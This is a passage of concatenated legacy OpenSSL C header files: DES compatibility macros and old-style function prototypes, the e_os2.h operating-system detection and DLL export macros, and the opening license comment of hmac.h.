des_ncbc_encrypt(i,o,l,k,iv,e)\ 155 | DES_ncbc_encrypt((i),(o),(l),&(k),(iv),(e)) 156 | #define des_xcbc_encrypt(i,o,l,k,iv,inw,outw,e)\ 157 | DES_xcbc_encrypt((i),(o),(l),&(k),(iv),(inw),(outw),(e)) 158 | #define des_cfb_encrypt(i,o,n,l,k,iv,e)\ 159 | DES_cfb_encrypt((i),(o),(n),(l),&(k),(iv),(e)) 160 | #define des_ecb_encrypt(i,o,k,e)\ 161 | DES_ecb_encrypt((i),(o),&(k),(e)) 162 | #define des_encrypt1(d,k,e)\ 163 | DES_encrypt1((d),&(k),(e)) 164 | #define des_encrypt2(d,k,e)\ 165 | DES_encrypt2((d),&(k),(e)) 166 | #define des_encrypt3(d,k1,k2,k3)\ 167 | DES_encrypt3((d),&(k1),&(k2),&(k3)) 168 | #define des_decrypt3(d,k1,k2,k3)\ 169 | DES_decrypt3((d),&(k1),&(k2),&(k3)) 170 | #define des_xwhite_in2out(k,i,o)\ 171 | DES_xwhite_in2out((k),(i),(o)) 172 | #define des_enc_read(f,b,l,k,iv)\ 173 | DES_enc_read((f),(b),(l),&(k),(iv)) 174 | #define des_enc_write(f,b,l,k,iv)\ 175 | DES_enc_write((f),(b),(l),&(k),(iv)) 176 | #define des_fcrypt(b,s,r)\ 177 | DES_fcrypt((b),(s),(r)) 178 | #if 0 179 | #define des_crypt(b,s)\ 180 | DES_crypt((b),(s)) 181 | #if !defined(PERL5) && !defined(__FreeBSD__) && !defined(NeXT) && !defined(__OpenBSD__) 182 | #define crypt(b,s)\ 183 | DES_crypt((b),(s)) 184 | #endif 185 | #endif 186 | #define des_ofb_encrypt(i,o,n,l,k,iv)\ 187 | DES_ofb_encrypt((i),(o),(n),(l),&(k),(iv)) 188 | #define des_pcbc_encrypt(i,o,l,k,iv,e)\ 189 | DES_pcbc_encrypt((i),(o),(l),&(k),(iv),(e)) 190 | #define des_quad_cksum(i,o,l,c,s)\ 191 | DES_quad_cksum((i),(o),(l),(c),(s)) 192 | #define des_random_seed(k)\ 193 | _ossl_096_des_random_seed((k)) 194 | #define des_random_key(r)\ 195 | DES_random_key((r)) 196 | #define des_read_password(k,p,v) \ 197 | DES_read_password((k),(p),(v)) 198 | #define des_read_2passwords(k1,k2,p,v) \ 199 | DES_read_2passwords((k1),(k2),(p),(v)) 200 | #define des_set_odd_parity(k)\ 201 | DES_set_odd_parity((k)) 202 | #define des_check_key_parity(k)\ 203 | DES_check_key_parity((k)) 204 | #define des_is_weak_key(k)\ 205 | DES_is_weak_key((k)) 206 | #define des_set_key(k,ks)\ 207 | DES_set_key((k),&(ks)) 208 | #define des_key_sched(k,ks)\ 209 | DES_key_sched((k),&(ks)) 210 | #define des_set_key_checked(k,ks)\ 211 | DES_set_key_checked((k),&(ks)) 212 | #define des_set_key_unchecked(k,ks)\ 213 | DES_set_key_unchecked((k),&(ks)) 214 | #define des_string_to_key(s,k)\ 215 | DES_string_to_key((s),(k)) 216 | #define des_string_to_2keys(s,k1,k2)\ 217 | DES_string_to_2keys((s),(k1),(k2)) 218 | #define des_cfb64_encrypt(i,o,l,ks,iv,n,e)\ 219 | DES_cfb64_encrypt((i),(o),(l),&(ks),(iv),(n),(e)) 220 | #define des_ofb64_encrypt(i,o,l,ks,iv,n)\ 221 | DES_ofb64_encrypt((i),(o),(l),&(ks),(iv),(n)) 222 | 223 | 224 | #define des_ecb2_encrypt(i,o,k1,k2,e) \ 225 | des_ecb3_encrypt((i),(o),(k1),(k2),(k1),(e)) 226 | 227 | #define des_ede2_cbc_encrypt(i,o,l,k1,k2,iv,e) \ 228 | des_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(e)) 229 | 230 | #define des_ede2_cfb64_encrypt(i,o,l,k1,k2,iv,n,e) \ 231 | des_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n),(e)) 232 | 233 | #define des_ede2_ofb64_encrypt(i,o,l,k1,k2,iv,n) \ 234 | des_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n)) 235 | 236 | #define des_check_key DES_check_key 237 | #define des_rw_mode DES_rw_mode 238 | #else /* libdes compatibility */ 239 | /* Map all symbol names to _ossl_old_des_* form, so we avoid all 240 | clashes with libdes */ 241 | #define des_cblock _ossl_old_des_cblock 242 | #define des_key_schedule _ossl_old_des_key_schedule 243 | #define des_ecb3_encrypt(i,o,k1,k2,k3,e)\ 244 | _ossl_old_des_ecb3_encrypt((i),(o),(k1),(k2),(k3),(e)) 245 | #define des_ede3_cbc_encrypt(i,o,l,k1,k2,k3,iv,e)\ 246 | _ossl_old_des_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k3),(iv),(e)) 247 | #define des_ede3_cfb64_encrypt(i,o,l,k1,k2,k3,iv,n,e)\ 248 | _ossl_old_des_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k3),(iv),(n),(e)) 249 | #define des_ede3_ofb64_encrypt(i,o,l,k1,k2,k3,iv,n)\ 250 | _ossl_old_des_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k3),(iv),(n)) 251 | #define des_options()\ 252 | _ossl_old_des_options() 253 | #define des_cbc_cksum(i,o,l,k,iv)\ 254 | _ossl_old_des_cbc_cksum((i),(o),(l),(k),(iv)) 255 | #define des_cbc_encrypt(i,o,l,k,iv,e)\ 256 | _ossl_old_des_cbc_encrypt((i),(o),(l),(k),(iv),(e)) 257 | #define des_ncbc_encrypt(i,o,l,k,iv,e)\ 258 | _ossl_old_des_ncbc_encrypt((i),(o),(l),(k),(iv),(e)) 259 | #define des_xcbc_encrypt(i,o,l,k,iv,inw,outw,e)\ 260 | _ossl_old_des_xcbc_encrypt((i),(o),(l),(k),(iv),(inw),(outw),(e)) 261 | #define des_cfb_encrypt(i,o,n,l,k,iv,e)\ 262 | _ossl_old_des_cfb_encrypt((i),(o),(n),(l),(k),(iv),(e)) 263 | #define des_ecb_encrypt(i,o,k,e)\ 264 | _ossl_old_des_ecb_encrypt((i),(o),(k),(e)) 265 | #define des_encrypt(d,k,e)\ 266 | _ossl_old_des_encrypt((d),(k),(e)) 267 | #define des_encrypt2(d,k,e)\ 268 | _ossl_old_des_encrypt2((d),(k),(e)) 269 | #define des_encrypt3(d,k1,k2,k3)\ 270 | _ossl_old_des_encrypt3((d),(k1),(k2),(k3)) 271 | #define des_decrypt3(d,k1,k2,k3)\ 272 | _ossl_old_des_decrypt3((d),(k1),(k2),(k3)) 273 | #define des_xwhite_in2out(k,i,o)\ 274 | _ossl_old_des_xwhite_in2out((k),(i),(o)) 275 | #define des_enc_read(f,b,l,k,iv)\ 276 | _ossl_old_des_enc_read((f),(b),(l),(k),(iv)) 277 | #define des_enc_write(f,b,l,k,iv)\ 278 | _ossl_old_des_enc_write((f),(b),(l),(k),(iv)) 279 | #define des_fcrypt(b,s,r)\ 280 | _ossl_old_des_fcrypt((b),(s),(r)) 281 | #define des_crypt(b,s)\ 282 | _ossl_old_des_crypt((b),(s)) 283 | #if 0 284 | #define crypt(b,s)\ 285 | _ossl_old_crypt((b),(s)) 286 | #endif 287 | #define des_ofb_encrypt(i,o,n,l,k,iv)\ 288 | _ossl_old_des_ofb_encrypt((i),(o),(n),(l),(k),(iv)) 289 | #define des_pcbc_encrypt(i,o,l,k,iv,e)\ 290 | _ossl_old_des_pcbc_encrypt((i),(o),(l),(k),(iv),(e)) 291 | #define des_quad_cksum(i,o,l,c,s)\ 292 | _ossl_old_des_quad_cksum((i),(o),(l),(c),(s)) 293 | #define des_random_seed(k)\ 294 | _ossl_old_des_random_seed((k)) 295 | #define des_random_key(r)\ 296 | _ossl_old_des_random_key((r)) 297 | #define des_read_password(k,p,v) \ 298 | _ossl_old_des_read_password((k),(p),(v)) 299 | #define des_read_2passwords(k1,k2,p,v) \ 300 | _ossl_old_des_read_2passwords((k1),(k2),(p),(v)) 301 | #define des_set_odd_parity(k)\ 302 | _ossl_old_des_set_odd_parity((k)) 303 | #define des_is_weak_key(k)\ 304 | _ossl_old_des_is_weak_key((k)) 305 | #define des_set_key(k,ks)\ 306 | _ossl_old_des_set_key((k),(ks)) 307 | #define des_key_sched(k,ks)\ 308 | _ossl_old_des_key_sched((k),(ks)) 309 | #define des_string_to_key(s,k)\ 310 | _ossl_old_des_string_to_key((s),(k)) 311 | #define des_string_to_2keys(s,k1,k2)\ 312 | _ossl_old_des_string_to_2keys((s),(k1),(k2)) 313 | #define des_cfb64_encrypt(i,o,l,ks,iv,n,e)\ 314 | _ossl_old_des_cfb64_encrypt((i),(o),(l),(ks),(iv),(n),(e)) 315 | #define des_ofb64_encrypt(i,o,l,ks,iv,n)\ 316 | _ossl_old_des_ofb64_encrypt((i),(o),(l),(ks),(iv),(n)) 317 | 318 | 319 | #define des_ecb2_encrypt(i,o,k1,k2,e) \ 320 | des_ecb3_encrypt((i),(o),(k1),(k2),(k1),(e)) 321 | 322 | #define des_ede2_cbc_encrypt(i,o,l,k1,k2,iv,e) \ 323 | des_ede3_cbc_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(e)) 324 | 325 | #define des_ede2_cfb64_encrypt(i,o,l,k1,k2,iv,n,e) \ 326 | des_ede3_cfb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n),(e)) 327 | 328 | #define des_ede2_ofb64_encrypt(i,o,l,k1,k2,iv,n) \ 329 | des_ede3_ofb64_encrypt((i),(o),(l),(k1),(k2),(k1),(iv),(n)) 330 | 331 | #define des_check_key DES_check_key 332 | #define des_rw_mode DES_rw_mode 333 | #endif 334 | 335 | const char *_ossl_old_des_options(void); 336 | void _ossl_old_des_ecb3_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, 337 | _ossl_old_des_key_schedule ks1,_ossl_old_des_key_schedule ks2, 338 | _ossl_old_des_key_schedule ks3, int enc); 339 | DES_LONG _ossl_old_des_cbc_cksum(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, 340 | long length,_ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec); 341 | void _ossl_old_des_cbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, 342 | _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); 343 | void _ossl_old_des_ncbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, 344 | _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); 345 | void _ossl_old_des_xcbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, 346 | _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec, 347 | _ossl_old_des_cblock *inw,_ossl_old_des_cblock *outw,int enc); 348 | void _ossl_old_des_cfb_encrypt(unsigned char *in,unsigned char *out,int numbits, 349 | long length,_ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); 350 | void _ossl_old_des_ecb_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, 351 | _ossl_old_des_key_schedule ks,int enc); 352 | void _ossl_old_des_encrypt(DES_LONG *data,_ossl_old_des_key_schedule ks, int enc); 353 | void _ossl_old_des_encrypt2(DES_LONG *data,_ossl_old_des_key_schedule ks, int enc); 354 | void _ossl_old_des_encrypt3(DES_LONG *data, _ossl_old_des_key_schedule ks1, 355 | _ossl_old_des_key_schedule ks2, _ossl_old_des_key_schedule ks3); 356 | void _ossl_old_des_decrypt3(DES_LONG *data, _ossl_old_des_key_schedule ks1, 357 | _ossl_old_des_key_schedule ks2, _ossl_old_des_key_schedule ks3); 358 | void _ossl_old_des_ede3_cbc_encrypt(_ossl_old_des_cblock *input, _ossl_old_des_cblock *output, 359 | long length, _ossl_old_des_key_schedule ks1, _ossl_old_des_key_schedule ks2, 360 | _ossl_old_des_key_schedule ks3, _ossl_old_des_cblock *ivec, int enc); 361 | void _ossl_old_des_ede3_cfb64_encrypt(unsigned char *in, unsigned char *out, 362 | long length, _ossl_old_des_key_schedule ks1, _ossl_old_des_key_schedule ks2, 363 | _ossl_old_des_key_schedule ks3, _ossl_old_des_cblock *ivec, int *num, int enc); 364 | void _ossl_old_des_ede3_ofb64_encrypt(unsigned char *in, unsigned char *out, 365 | long length, _ossl_old_des_key_schedule ks1, _ossl_old_des_key_schedule ks2, 366 | _ossl_old_des_key_schedule ks3, _ossl_old_des_cblock *ivec, int *num); 367 | #if 0 368 | void _ossl_old_des_xwhite_in2out(_ossl_old_des_cblock (*des_key), _ossl_old_des_cblock (*in_white), 369 | _ossl_old_des_cblock (*out_white)); 370 | #endif 371 | 372 | int _ossl_old_des_enc_read(int fd,char *buf,int len,_ossl_old_des_key_schedule sched, 373 | _ossl_old_des_cblock *iv); 374 | int _ossl_old_des_enc_write(int fd,char *buf,int len,_ossl_old_des_key_schedule sched, 375 | _ossl_old_des_cblock *iv); 376 | char *_ossl_old_des_fcrypt(const char *buf,const char *salt, char *ret); 377 | char *_ossl_old_des_crypt(const char *buf,const char *salt); 378 | #if !defined(PERL5) && !defined(NeXT) 379 | char *_ossl_old_crypt(const char *buf,const char *salt); 380 | #endif 381 | void _ossl_old_des_ofb_encrypt(unsigned char *in,unsigned char *out, 382 | int numbits,long length,_ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec); 383 | void _ossl_old_des_pcbc_encrypt(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output,long length, 384 | _ossl_old_des_key_schedule schedule,_ossl_old_des_cblock *ivec,int enc); 385 | DES_LONG _ossl_old_des_quad_cksum(_ossl_old_des_cblock *input,_ossl_old_des_cblock *output, 386 | long length,int out_count,_ossl_old_des_cblock *seed); 387 | void _ossl_old_des_random_seed(_ossl_old_des_cblock key); 388 | void _ossl_old_des_random_key(_ossl_old_des_cblock ret); 389 | int _ossl_old_des_read_password(_ossl_old_des_cblock *key,const char *prompt,int verify); 390 | int _ossl_old_des_read_2passwords(_ossl_old_des_cblock *key1,_ossl_old_des_cblock *key2, 391 | const char *prompt,int verify); 392 | void _ossl_old_des_set_odd_parity(_ossl_old_des_cblock *key); 393 | int _ossl_old_des_is_weak_key(_ossl_old_des_cblock *key); 394 | int _ossl_old_des_set_key(_ossl_old_des_cblock *key,_ossl_old_des_key_schedule schedule); 395 | int _ossl_old_des_key_sched(_ossl_old_des_cblock *key,_ossl_old_des_key_schedule schedule); 396 | void _ossl_old_des_string_to_key(char *str,_ossl_old_des_cblock *key); 397 | void _ossl_old_des_string_to_2keys(char *str,_ossl_old_des_cblock *key1,_ossl_old_des_cblock *key2); 398 | void _ossl_old_des_cfb64_encrypt(unsigned char *in, unsigned char *out, long length, 399 | _ossl_old_des_key_schedule schedule, _ossl_old_des_cblock *ivec, int *num, int enc); 400 | void _ossl_old_des_ofb64_encrypt(unsigned char *in, unsigned char *out, long length, 401 | _ossl_old_des_key_schedule schedule, _ossl_old_des_cblock *ivec, int *num); 402 | 403 | void _ossl_096_des_random_seed(des_cblock *key); 404 | 405 | /* The following definitions provide compatibility with the MIT Kerberos 406 | * library. The _ossl_old_des_key_schedule structure is not binary compatible. */ 407 | 408 | #define _KERBEROS_DES_H 409 | 410 | #define KRBDES_ENCRYPT DES_ENCRYPT 411 | #define KRBDES_DECRYPT DES_DECRYPT 412 | 413 | #ifdef KERBEROS 414 | # define ENCRYPT DES_ENCRYPT 415 | # define DECRYPT DES_DECRYPT 416 | #endif 417 | 418 | #ifndef NCOMPAT 419 | # define C_Block des_cblock 420 | # define Key_schedule des_key_schedule 421 | # define KEY_SZ DES_KEY_SZ 422 | # define string_to_key des_string_to_key 423 | # define read_pw_string des_read_pw_string 424 | # define random_key des_random_key 425 | # define pcbc_encrypt des_pcbc_encrypt 426 | # define set_key des_set_key 427 | # define key_sched des_key_sched 428 | # define ecb_encrypt des_ecb_encrypt 429 | # define cbc_encrypt des_cbc_encrypt 430 | # define ncbc_encrypt des_ncbc_encrypt 431 | # define xcbc_encrypt des_xcbc_encrypt 432 | # define cbc_cksum des_cbc_cksum 433 | # define quad_cksum des_quad_cksum 434 | # define check_parity des_check_key_parity 435 | #endif 436 | 437 | #define des_fixup_key_parity DES_fixup_key_parity 438 | 439 | #ifdef __cplusplus 440 | } 441 | #endif 442 | 443 | /* for DES_read_pw_string et al */ 444 | #include 445 | 446 | #endif 447 | -------------------------------------------------------------------------------- /src/include/openssl/e_os2.h: -------------------------------------------------------------------------------- 1 | /* e_os2.h */ 2 | /* ==================================================================== 3 | * Copyright (c) 1998-2000 The OpenSSL Project. All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 9 | * 1. Redistributions of source code must retain the above copyright 10 | * notice, this list of conditions and the following disclaimer. 11 | * 12 | * 2. Redistributions in binary form must reproduce the above copyright 13 | * notice, this list of conditions and the following disclaimer in 14 | * the documentation and/or other materials provided with the 15 | * distribution. 16 | * 17 | * 3. All advertising materials mentioning features or use of this 18 | * software must display the following acknowledgment: 19 | * "This product includes software developed by the OpenSSL Project 20 | * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" 21 | * 22 | * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to 23 | * endorse or promote products derived from this software without 24 | * prior written permission. For written permission, please contact 25 | * openssl-core@openssl.org. 26 | * 27 | * 5. Products derived from this software may not be called "OpenSSL" 28 | * nor may "OpenSSL" appear in their names without prior written 29 | * permission of the OpenSSL Project. 30 | * 31 | * 6. Redistributions of any form whatsoever must retain the following 32 | * acknowledgment: 33 | * "This product includes software developed by the OpenSSL Project 34 | * for use in the OpenSSL Toolkit (http://www.openssl.org/)" 35 | * 36 | * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY 37 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 38 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 39 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR 40 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 41 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 42 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 43 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 44 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 45 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 46 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 47 | * OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * ==================================================================== 49 | * 50 | * This product includes cryptographic software written by Eric Young 51 | * (eay@cryptsoft.com). This product includes software written by Tim 52 | * Hudson (tjh@cryptsoft.com). 53 | * 54 | */ 55 | 56 | #include 57 | 58 | #ifndef HEADER_E_OS2_H 59 | #define HEADER_E_OS2_H 60 | 61 | #ifdef __cplusplus 62 | extern "C" { 63 | #endif 64 | 65 | /****************************************************************************** 66 | * Detect operating systems. This probably needs completing. 67 | * The result is that at least one OPENSSL_SYS_os macro should be defined. 68 | * However, if none is defined, Unix is assumed. 69 | **/ 70 | 71 | #define OPENSSL_SYS_UNIX 72 | 73 | /* ----------------------- Macintosh, before MacOS X ----------------------- */ 74 | #if defined(__MWERKS__) && defined(macintosh) || defined(OPENSSL_SYSNAME_MAC) 75 | # undef OPENSSL_SYS_UNIX 76 | # define OPENSSL_SYS_MACINTOSH_CLASSIC 77 | #endif 78 | 79 | /* ----------------------- NetWare ----------------------------------------- */ 80 | #if defined(NETWARE) || defined(OPENSSL_SYSNAME_NETWARE) 81 | # undef OPENSSL_SYS_UNIX 82 | # define OPENSSL_SYS_NETWARE 83 | #endif 84 | 85 | /* ---------------------- Microsoft operating systems ---------------------- */ 86 | 87 | /* Note that MSDOS actually denotes 32-bit environments running on top of 88 | MS-DOS, such as DJGPP one. */ 89 | #if defined(OPENSSL_SYSNAME_MSDOS) 90 | # undef OPENSSL_SYS_UNIX 91 | # define OPENSSL_SYS_MSDOS 92 | #endif 93 | 94 | /* For 32 bit environment, there seems to be the CygWin environment and then 95 | all the others that try to do the same thing Microsoft does... */ 96 | #if defined(OPENSSL_SYSNAME_UWIN) 97 | # undef OPENSSL_SYS_UNIX 98 | # define OPENSSL_SYS_WIN32_UWIN 99 | #else 100 | # if defined(__CYGWIN32__) || defined(OPENSSL_SYSNAME_CYGWIN32) 101 | # undef OPENSSL_SYS_UNIX 102 | # define OPENSSL_SYS_WIN32_CYGWIN 103 | # else 104 | # if defined(_WIN32) || defined(OPENSSL_SYSNAME_WIN32) 105 | # undef OPENSSL_SYS_UNIX 106 | # define OPENSSL_SYS_WIN32 107 | # endif 108 | # if defined(OPENSSL_SYSNAME_WINNT) 109 | # undef OPENSSL_SYS_UNIX 110 | # define OPENSSL_SYS_WINNT 111 | # endif 112 | # if defined(OPENSSL_SYSNAME_WINCE) 113 | # undef OPENSSL_SYS_UNIX 114 | # define OPENSSL_SYS_WINCE 115 | # endif 116 | # endif 117 | #endif 118 | 119 | /* Anything that tries to look like Microsoft is "Windows" */ 120 | #if defined(OPENSSL_SYS_WIN32) || defined(OPENSSL_SYS_WINNT) || defined(OPENSSL_SYS_WINCE) 121 | # undef OPENSSL_SYS_UNIX 122 | # define OPENSSL_SYS_WINDOWS 123 | # ifndef OPENSSL_SYS_MSDOS 124 | # define OPENSSL_SYS_MSDOS 125 | # endif 126 | #endif 127 | 128 | /* DLL settings. This part is a bit tough, because it's up to the application 129 | implementor how he or she will link the application, so it requires some 130 | macro to be used. */ 131 | #ifdef OPENSSL_SYS_WINDOWS 132 | # ifndef OPENSSL_OPT_WINDLL 133 | # if defined(_WINDLL) /* This is used when building OpenSSL to indicate that 134 | DLL linkage should be used */ 135 | # define OPENSSL_OPT_WINDLL 136 | # endif 137 | # endif 138 | #endif 139 | 140 | /* -------------------------------- OpenVMS -------------------------------- */ 141 | #if defined(__VMS) || defined(VMS) || defined(OPENSSL_SYSNAME_VMS) 142 | # undef OPENSSL_SYS_UNIX 143 | # define OPENSSL_SYS_VMS 144 | # if defined(__DECC) 145 | # define OPENSSL_SYS_VMS_DECC 146 | # elif defined(__DECCXX) 147 | # define OPENSSL_SYS_VMS_DECC 148 | # define OPENSSL_SYS_VMS_DECCXX 149 | # else 150 | # define OPENSSL_SYS_VMS_NODECC 151 | # endif 152 | #endif 153 | 154 | /* --------------------------------- OS/2 ---------------------------------- */ 155 | #if defined(__EMX__) || defined(__OS2__) 156 | # undef OPENSSL_SYS_UNIX 157 | # define OPENSSL_SYS_OS2 158 | #endif 159 | 160 | /* --------------------------------- Unix ---------------------------------- */ 161 | #ifdef OPENSSL_SYS_UNIX 162 | # if defined(linux) || defined(__linux__) || defined(OPENSSL_SYSNAME_LINUX) 163 | # define OPENSSL_SYS_LINUX 164 | # endif 165 | # ifdef OPENSSL_SYSNAME_MPE 166 | # define OPENSSL_SYS_MPE 167 | # endif 168 | # ifdef OPENSSL_SYSNAME_SNI 169 | # define OPENSSL_SYS_SNI 170 | # endif 171 | # ifdef OPENSSL_SYSNAME_ULTRASPARC 172 | # define OPENSSL_SYS_ULTRASPARC 173 | # endif 174 | # ifdef OPENSSL_SYSNAME_NEWS4 175 | # define OPENSSL_SYS_NEWS4 176 | # endif 177 | # ifdef OPENSSL_SYSNAME_MACOSX 178 | # define OPENSSL_SYS_MACOSX 179 | # endif 180 | # ifdef OPENSSL_SYSNAME_MACOSX_RHAPSODY 181 | # define OPENSSL_SYS_MACOSX_RHAPSODY 182 | # define OPENSSL_SYS_MACOSX 183 | # endif 184 | # ifdef OPENSSL_SYSNAME_SUNOS 185 | # define OPENSSL_SYS_SUNOS 186 | #endif 187 | # if defined(_CRAY) || defined(OPENSSL_SYSNAME_CRAY) 188 | # define OPENSSL_SYS_CRAY 189 | # endif 190 | # if defined(_AIX) || defined(OPENSSL_SYSNAME_AIX) 191 | # define OPENSSL_SYS_AIX 192 | # endif 193 | #endif 194 | 195 | /* --------------------------------- VOS ----------------------------------- */ 196 | #if defined(__VOS__) || defined(OPENSSL_SYSNAME_VOS) 197 | # define OPENSSL_SYS_VOS 198 | #ifdef __HPPA__ 199 | # define OPENSSL_SYS_VOS_HPPA 200 | #endif 201 | #ifdef __IA32__ 202 | # define OPENSSL_SYS_VOS_IA32 203 | #endif 204 | #endif 205 | 206 | /* ------------------------------- VxWorks --------------------------------- */ 207 | #ifdef OPENSSL_SYSNAME_VXWORKS 208 | # define OPENSSL_SYS_VXWORKS 209 | #endif 210 | 211 | /* --------------------------------- BeOS ---------------------------------- */ 212 | #if defined(__BEOS__) 213 | # define OPENSSL_SYS_BEOS 214 | # include 215 | # if defined(BONE_VERSION) 216 | # define OPENSSL_SYS_BEOS_BONE 217 | # else 218 | # define OPENSSL_SYS_BEOS_R5 219 | # endif 220 | #endif 221 | 222 | /** 223 | * That's it for OS-specific stuff 224 | *****************************************************************************/ 225 | 226 | 227 | /* Specials for I/O an exit */ 228 | #ifdef OPENSSL_SYS_MSDOS 229 | # define OPENSSL_UNISTD_IO 230 | # define OPENSSL_DECLARE_EXIT extern void exit(int); 231 | #else 232 | # define OPENSSL_UNISTD_IO OPENSSL_UNISTD 233 | # define OPENSSL_DECLARE_EXIT /* declared in unistd.h */ 234 | #endif 235 | 236 | /* Definitions of OPENSSL_GLOBAL and OPENSSL_EXTERN, to define and declare 237 | certain global symbols that, with some compilers under VMS, have to be 238 | defined and declared explicitely with globaldef and globalref. 239 | Definitions of OPENSSL_EXPORT and OPENSSL_IMPORT, to define and declare 240 | DLL exports and imports for compilers under Win32. These are a little 241 | more complicated to use. Basically, for any library that exports some 242 | global variables, the following code must be present in the header file 243 | that declares them, before OPENSSL_EXTERN is used: 244 | 245 | #ifdef SOME_BUILD_FLAG_MACRO 246 | # undef OPENSSL_EXTERN 247 | # define OPENSSL_EXTERN OPENSSL_EXPORT 248 | #endif 249 | 250 | The default is to have OPENSSL_EXPORT, OPENSSL_IMPORT and OPENSSL_GLOBAL 251 | have some generally sensible values, and for OPENSSL_EXTERN to have the 252 | value OPENSSL_IMPORT. 253 | */ 254 | 255 | #if defined(OPENSSL_SYS_VMS_NODECC) 256 | # define OPENSSL_EXPORT globalref 257 | # define OPENSSL_IMPORT globalref 258 | # define OPENSSL_GLOBAL globaldef 259 | #elif defined(OPENSSL_SYS_WINDOWS) && defined(OPENSSL_OPT_WINDLL) 260 | # define OPENSSL_EXPORT extern __declspec(dllexport) 261 | # define OPENSSL_IMPORT extern __declspec(dllimport) 262 | # define OPENSSL_GLOBAL 263 | #else 264 | # define OPENSSL_EXPORT extern 265 | # define OPENSSL_IMPORT extern 266 | # define OPENSSL_GLOBAL 267 | #endif 268 | #define OPENSSL_EXTERN OPENSSL_IMPORT 269 | 270 | /* Macros to allow global variables to be reached through function calls when 271 | required (if a shared library version requires it, for example. 272 | The way it's done allows definitions like this: 273 | 274 | // in foobar.c 275 | OPENSSL_IMPLEMENT_GLOBAL(int,foobar,0) 276 | // in foobar.h 277 | OPENSSL_DECLARE_GLOBAL(int,foobar); 278 | #define foobar OPENSSL_GLOBAL_REF(foobar) 279 | */ 280 | #ifdef OPENSSL_EXPORT_VAR_AS_FUNCTION 281 | # define OPENSSL_IMPLEMENT_GLOBAL(type,name,value) \ 282 | type *_shadow_##name(void) \ 283 | { static type _hide_##name=value; return &_hide_##name; } 284 | # define OPENSSL_DECLARE_GLOBAL(type,name) type *_shadow_##name(void) 285 | # define OPENSSL_GLOBAL_REF(name) (*(_shadow_##name())) 286 | #else 287 | # define OPENSSL_IMPLEMENT_GLOBAL(type,name,value) OPENSSL_GLOBAL type _shadow_##name=value; 288 | # define OPENSSL_DECLARE_GLOBAL(type,name) OPENSSL_EXPORT type _shadow_##name 289 | # define OPENSSL_GLOBAL_REF(name) _shadow_##name 290 | #endif 291 | 292 | #if defined(OPENSSL_SYS_MACINTOSH_CLASSIC) && macintosh==1 && !defined(MAC_OS_GUSI_SOURCE) 293 | # define ossl_ssize_t long 294 | #endif 295 | 296 | #ifdef OPENSSL_SYS_MSDOS 297 | # define ossl_ssize_t long 298 | #endif 299 | 300 | #if defined(NeXT) || defined(OPENSSL_SYS_NEWS4) || defined(OPENSSL_SYS_SUNOS) 301 | # define ssize_t int 302 | #endif 303 | 304 | #if defined(__ultrix) && !defined(ssize_t) 305 | # define ossl_ssize_t int 306 | #endif 307 | 308 | #ifndef ossl_ssize_t 309 | # define ossl_ssize_t ssize_t 310 | #endif 311 | 312 | #ifdef __cplusplus 313 | } 314 | #endif 315 | #endif 316 | -------------------------------------------------------------------------------- /src/include/openssl/hmac.h: -------------------------------------------------------------------------------- 1 | /* crypto/hmac/hmac.h */ 2 | /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) 3 | * All rights reserved. 4 | * 5 | * This package is an SSL implementation written 6 | * by Eric Young (eay@cryptsoft.com). 7 | * The implementation was written so as to conform with Netscapes SSL. 8 | * 9 | * This library is free for commercial and non-commercial use as long as 10 | * the following conditions are aheared to. The following conditions 11 | * apply to all code found in this distribution, be it the RC4, RSA, 12 | * lhash, DES, etc., code; not just the SSL code. The SSL documentation 13 | * included with this distribution is covered by the same copyright terms 14 | * except that the holder is Tim Hudson (tjh@cryptsoft.com). 15 | * 16 | * Copyright remains Eric Young's, and as such any Copyright notices in 17 | * the code are not to be removed. 18 | * If this package is used in a product, Eric Young should be given attribution 19 | * as the author of the parts of the library used. 20 | * This can be in the form of a textual message at program startup or 21 | * 